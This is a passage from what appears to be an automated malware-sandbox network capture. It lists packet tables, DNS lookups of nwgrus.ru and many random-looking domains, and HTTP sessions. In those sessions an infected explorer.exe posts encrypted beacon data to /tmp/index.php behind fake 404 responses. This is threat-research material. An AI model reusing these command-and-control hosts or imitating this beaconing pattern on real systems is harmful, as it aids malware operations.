Sep 25, 2024 16:04:13.856211901 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:14.335510015 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:14.335612059 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:14.335686922 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:14.335922956 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:14.335939884 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:14.335958958 CEST	49757	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:14.335963964 CEST	443	49757	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:25.658009052 CEST	49758	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:25.663450003 CEST	80	49758	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:25.663579941 CEST	49758	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:25.663769960 CEST	49758	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:25.663795948 CEST	49758	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:25.669086933 CEST	80	49758	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:25.669507980 CEST	80	49758	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:26.955331087 CEST	80	49758	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:26.957564116 CEST	80	49758	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:26.957735062 CEST	49758	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:26.957901001 CEST	49758	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:26.962722063 CEST	80	49758	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:36.165013075 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:36.165071964 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:36.165149927 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:36.165580988 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:36.165594101 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:36.768271923 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:36.768429995 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:36.811116934 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:36.811144114 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:36.811431885 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:36.813628912 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:36.813661098 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:36.813687086 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:37.140070915 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:37.140485048 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:37.140558958 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:37.151051044 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:37.151076078 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:37.151089907 CEST	49759	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:37.151098013 CEST	443	49759	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:48.742728949 CEST	49760	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:48.749726057 CEST	80	49760	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:48.749828100 CEST	49760	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:48.750010014 CEST	49760	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:48.750046015 CEST	49760	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:48.756885052 CEST	80	49760	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:48.759119987 CEST	80	49760	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:50.037108898 CEST	80	49760	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:50.039180994 CEST	80	49760	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:50.039241076 CEST	49760	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:50.039287090 CEST	49760	80	192.168.2.5	190.98.23.157
Sep 25, 2024 16:04:50.044171095 CEST	80	49760	190.98.23.157	192.168.2.5
Sep 25, 2024 16:04:58.526947975 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:58.527015924 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:58.527113914 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:58.527661085 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:58.527679920 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.134339094 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.134445906 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:59.135802984 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:59.135827065 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.136086941 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.136890888 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:59.136917114 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:59.136965036 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.516201973 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.516283035 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.516355991 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:59.516544104 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:59.516570091 CEST	443	49761	23.145.40.162	192.168.2.5
Sep 25, 2024 16:04:59.516587019 CEST	49761	443	192.168.2.5	23.145.40.162
Sep 25, 2024 16:04:59.516597033 CEST	443	49761	23.145.40.162	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 16:01:27.300789118 CEST	61685	53	192.168.2.5	1.1.1.1
Sep 25, 2024 16:01:28.308608055 CEST	61685	53	192.168.2.5	1.1.1.1
Sep 25, 2024 16:01:29.324637890 CEST	61685	53	192.168.2.5	1.1.1.1
Sep 25, 2024 16:01:29.684042931 CEST	53	61685	1.1.1.1	192.168.2.5
Sep 25, 2024 16:01:29.684061050 CEST	53	61685	1.1.1.1	192.168.2.5
Sep 25, 2024 16:01:29.685033083 CEST	53	61685	1.1.1.1	192.168.2.5
Sep 25, 2024 16:02:19.508761883 CEST	63752	53	192.168.2.5	1.1.1.1
Sep 25, 2024 16:02:19.525465965 CEST	53	63752	1.1.1.1	192.168.2.5
Sep 25, 2024 16:04:02.849618912 CEST	55220	53	192.168.2.5	1.1.1.1
Sep 25, 2024 16:04:03.025785923 CEST	53	55220	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 16:01:27.300789118 CEST	192.168.2.5	1.1.1.1	0x6f8a	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:28.308608055 CEST	192.168.2.5	1.1.1.1	0x6f8a	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.324637890 CEST	192.168.2.5	1.1.1.1	0x6f8a	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:02:19.508761883 CEST	192.168.2.5	1.1.1.1	0x2718	Standard query (0)	calvinandhalls.com	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:02.849618912 CEST	192.168.2.5	1.1.1.1	0x68c5	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 16:01:20.447504044 CEST	1.1.1.1	192.168.2.5	0xab35	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:20.447504044 CEST	1.1.1.1	192.168.2.5	0xab35	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:21.306057930 CEST	1.1.1.1	192.168.2.5	0xa1c	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 16:01:21.306057930 CEST	1.1.1.1	192.168.2.5	0xa1c	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		183.100.39.16	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		211.171.233.129	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		196.189.156.245	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		175.119.10.231	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		190.187.52.42	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684042931 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		181.204.98.226	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		183.100.39.16	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		211.171.233.129	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		196.189.156.245	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		175.119.10.231	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		190.187.52.42	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.684061050 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		181.204.98.226	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		183.100.39.16	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		211.171.233.129	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		196.189.156.245	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		175.119.10.231	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		189.195.132.134	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		190.187.52.42	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.685033083 CEST	1.1.1.1	192.168.2.5	0x6f8a	No error (0)	nwgrus.ru		181.204.98.226	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:02:19.525465965 CEST	1.1.1.1	192.168.2.5	0x2718	No error (0)	calvinandhalls.com		23.145.40.162	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		185.18.245.58	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		93.118.137.82	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		78.89.199.216	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		2.185.214.11	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		180.75.11.133	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		181.128.22.240	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		211.181.24.133	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:04:03.025785923 CEST	1.1.1.1	192.168.2.5	0x68c5	No error (0)	nwgrus.ru		41.251.205.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

23.145.40.164

https:

calvinandhalls.com

bdxvqfpjlsvhpaof.org

nwgrus.ru

uotbaartbcqldrdx.org

kdulrgfaviysx.org

jlkucuylyof.org

ejvnhlvhpussik.org

vsagqcxnudryn.com

fogsqjysaystoh.org

verasvafreecifd.org

eaxyrbajkqo.org

dfqwnqnvxbwcwpps.com

ovvofxjtrlcblbe.com

khaxmqmrelincl.org

tuivtdfccoxjstqv.net

ktflshoikbglbj.net

xapousftkgr.net

xhvcwlrrfnr.org

edyhjfoqqme.com

ecpbasxejvhmni.com

pklhudfcrpsm.org

bwdwojspdgtrj.net

otxnyveihviep.com

btdksbvigeadnr.com

xwykiojnclenqqi.net

nhtxkrllcfsfts.org

xdbwevihetlvramf.org

kktprwryymhwgw.com

waytjuqjooe.org

seyshogepyribe.com

jjfnbkmpvhxjsu.net

btusdqnvtphf.org

utinkaubisghnyye.net

jkjogobunqlid.org

ohoqxgflpcpf.com

rcdwkbgyoixtxr.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:29.713839054 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bdxvqfpjlsvhpaof.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 121 Host: nwgrus.ru
Sep 25, 2024 16:01:29.713872910 CEST	121	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2b 40 ca fe Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA .[k,vu+@rVvm!j0H~tc:x
Sep 25, 2024 16:01:30.964297056 CEST	152	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:30 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 04 00 00 00 72 e8 86 ea Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:30.973973989 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uotbaartbcqldrdx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 328 Host: nwgrus.ru
Sep 25, 2024 16:01:30.973973989 CEST	328	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 55 1d bd ac Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vuUncEu+EF_ts+V+u!_:+`S<+T}!dFxUBLbeKB%0O4dVr<0Dc]-J"F
Sep 25, 2024 16:01:32.199060917 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:32.214114904 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kdulrgfaviysx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 141 Host: nwgrus.ru
Sep 25, 2024 16:01:32.214138985 CEST	141	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 27 0e c4 ff Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu'R\s_F*;\W{4"582;?
Sep 25, 2024 16:01:33.463205099 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49714	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:33.477191925 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jlkucuylyof.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 278 Host: nwgrus.ru
Sep 25, 2024 16:01:33.477210045 CEST	278	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 62 4b cc a2 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vubKGbUy5ayibsBZP#x!K\|(L\|{<?c 5AB>XbvZvBFdPKC!
Sep 25, 2024 16:01:34.746088982 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:34 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:34.754909039 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ejvnhlvhpussik.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: nwgrus.ru
Sep 25, 2024 16:01:34.754909039 CEST	368	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 5f 58 d5 af Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu_XDVa~{kwPN94aBVfCT9'R)UvC32{!OOm9_-$}-\|1a>;dykQZb\(">X
Sep 25, 2024 16:01:36.015013933 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML 